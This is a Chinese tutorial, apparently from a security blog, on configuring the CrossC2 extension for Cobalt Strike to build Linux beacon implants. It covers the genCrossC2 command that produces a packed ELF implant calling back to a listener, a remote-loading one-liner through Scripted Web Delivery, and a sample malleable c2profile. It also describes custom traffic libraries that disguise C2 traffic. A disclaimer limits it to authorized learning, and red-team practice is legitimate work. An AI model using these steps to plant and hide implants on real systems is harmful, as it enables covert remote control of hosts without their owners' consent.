免责声明
锦鲤安全的技术文章仅供参考,此文所提供的信息仅供网络安全人员学习和参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。如有侵权烦请告知,我们会立即删除并致歉。本文所提供的工具仅用于学习,禁止用于其他,请在24小时内删除工具文件!谢谢!
前言
新版的 CrossC2 使用变得越来越复杂了,而且网上的教程很多都在互相抄来抄去,没几个说到重点,对于长时间没接触过 CrossC2 的人来说可能搞半天都无法成功上线 Linux,因此在这里记录一下。
- 安装 CrossC2
- 无 c2profile 下生成 Linux 马
- 使用 genCrossC2 直接生成
- URL 远程加载一句话上线
- 使用 c2profile 生成 Linux 马
- 自定义流量特征
环境
CS 版本:CS4.9
客户端环境:Windows10
服务端环境:Windows10 Kali Linux 子系统
一、安装 CrossC2
首先在 github上下载这三个文件:
- genCrossC2.Win.zip
- CrossC2Kit-GithubBot-2023-11-20.zip
- genCrossC2.Win.zip
解压后放一起:
修改 CrossC2-GithubBot-2023-11-20.cna 配置,$CC2_PATH 填当前脚本的绝对路径,$CC2_BIN 填 genCrossC2.exe 相对于 $CC2_PATH 的相对路径,注意 windows 要用双反斜杠,$CC2_BIN 前面也要加双反斜杠:
然后在 CS 中加载这几个 cna:
然后从当前运行的 teamserver 目录下去获取 .cobaltstrike.beacon_keys 文件,这个文件是 CS 初次运行时生成的密钥文件,用于加密 CS 通信流量,生成 Linux 马时需要用到它:
复制到与 genCrossC2 处于相同目录,方便后面操作:
打开 CS 创建一个监听器,注意!CrossC2 只支持 https 的监听器:
修改一下 CrossC2Kit 的默认路径:
二、无 c2profile 下生成
最好先尝试一下在不使用 c2profile 的情况下上线 Linux,再尝试使用 c2profile 上线 Linux,因为使用 c2profile 有一些要点不注意可能无法上线成功。
CrossC2 默认支持两种方式上线:
- 通过 genCrossC2 直接生成 elf 马执行上线
- 通过 url 一句话远程加载上线
1. 使用 genCrossC2 直接生成
下面使用 genCrossC2 直接生成 Linux 马,genCrossC2 使用命令格式如下:
代码语言:javascript复制genCrossC2 [监听地址] [监听端口] [.beacon_keys密钥文件] [rebind_dynamic_lib<;ini_config;c2profile@section_name>] [平台] [平台架构] [输出文件字]
下面命令显示 cs4.1 到 4.8 ,但没关系,CrossC2 是支持 4.9 的,如何你下载的是 genCrossC2.Linux 就会发现它显示的是 cs4.1 到 4.9 :
在 genCrossC2 目录下打开 cmd 输入如下命令生成 Linux x64 的马,注意第四个参数指定 c2profile 为 null,最后一个参数指定 cs 版本为 4.9:
代码语言:javascript复制genCrossC2.exe 192.168.195.131 443 .cobaltstrike.beacon_keys null Linux x64 beacon.elf upx 4.9
成功上线 Linux,且各个功能都是可以执行的,可以看到上线是 root 权限:
2. URL 远程加载一句话上线
打开上面 CrossC2 选择 reverse HTTPS 监听:
这里生成一个 CrossC2 监听器,这里 .cobaltstrike.beacon_keys 文件默认是读取 genCrossC2.exe 目录下的 .cobaltstrike.beacon_keys 文件,如果你已经照我前面配置的放到这个目录下了则不用再选择 .beacon_keys 文件了,然后选择一个 https 监听器,勾选 ssl,cs 默认 ≤ 4.8 就行:
点击创建后就可以看到多了个 CrossC2 的监听:
但这其实是个假的,真实的监听在站点管理这里:
创建之后看一下事件日志,正确都话你会看到以下输出,可以看到调用了genCrossC2来生成,与前面直接生成是差不多的,生成了两个文件 t_cc2.out、t_cc2.out.lib,其中 t_cc2.out 就是 Linux elf 马,不正确的话看不到 Packed xxxxxx byte,这时候可以检查一下cna中路径配置是否正确:
在 CS 客户端目录下可以看到生成的两个文件:
在 linux 下执行 t_cc2.out 即可上线,当然这里是远程加载,肯定要用远程加载的方式上线。
点击下面的 Scripted Web Delivery:
生成远程一句话上线命令,选择刚刚生成的 CrossC2 监听器,勾选 SSL,自删除随便:
将生成的命令复制到linux下执行即可上线:
三、使用 c2profile 生成
加载 c2profile 重启 teamserver。
CrossC2 主要识别 http-get 和 http-post 块,但不能识别 CS4.9 的部分特性
- http-get.verb 必须为 get,http-post.verb 必须为 post。
- uri 中最好只有一个 uri。
- metadata 块中不能有 print; ,否则会报错。
- metadata 块和 output 块内的转换算法只支持 base64,其他算法不会报错但是也无法正常上线。
且不建议 c2profile 配置过于复杂,以下是一个例子:
代码语言:javascript复制http-get {
set uri "/api/v1/get ";
set verb "GET";
client {
header "Content-Type" "text/plain";
metadata {
base64;
prepend "_UK=";
header "Cookie";
}
}
server {
header "Cache-Control" "no-cache";
output {
base64;
print;
}
}
}
http-post {
set uri "/api/v1/post ";
set verb "POST";
client {
header "Content-Type" "text/plain";
id {
base64;
prepend "_ZF=";
header "Cookie";
}
output {
base64;
print;
}
}
server {
header "Content-Type" "text/plain";
output {
base64;
print;
}
}
}
也可以参考官方的例子:
代码语言:javascript复制https://github.com/gloxec/CrossC2/blob/cs4.1/protocol_demo/https.profile
将改好都 c2profile 放到 genCrossC2.Win 插件目录下:
创建监听,选择我们的 c2profile,选择 https 监听器:
创建成功:
在客户端目录下找到我们的 Linux 马:
复制马到 linux 上执行或是生成一句话上线。
四、自定义流量特征
在生成 CrossC2 监听时可以看到指定动态链接库和 config.ini:
官方预留了 get 和 post 请求时的回调,我们可以编写一个动态链接库替换为我们自己实现的 get、post 请求,实现自定义流量特征:
具体例子参考官方文件下面给出的几个例子:
config.ini 可以参考官方下面的例子,可以定义 sleep 抖动时间,修改默认的动态链接库导出函数名称等:
如果你使用了动态链接库的自定义流量特征就不用指定 c2profile 了。
总结
使用 CrossC2 时需特别注意 cna 脚本中配置的路径是否正确,要使用双反斜杠,$CC2_BIN 前面的双反斜杠不能省略 ;如果使用了 c2profile 还需注意 c2profile 配置能否被 CrossC2 支持,不然可能折腾半天都无法上线成功。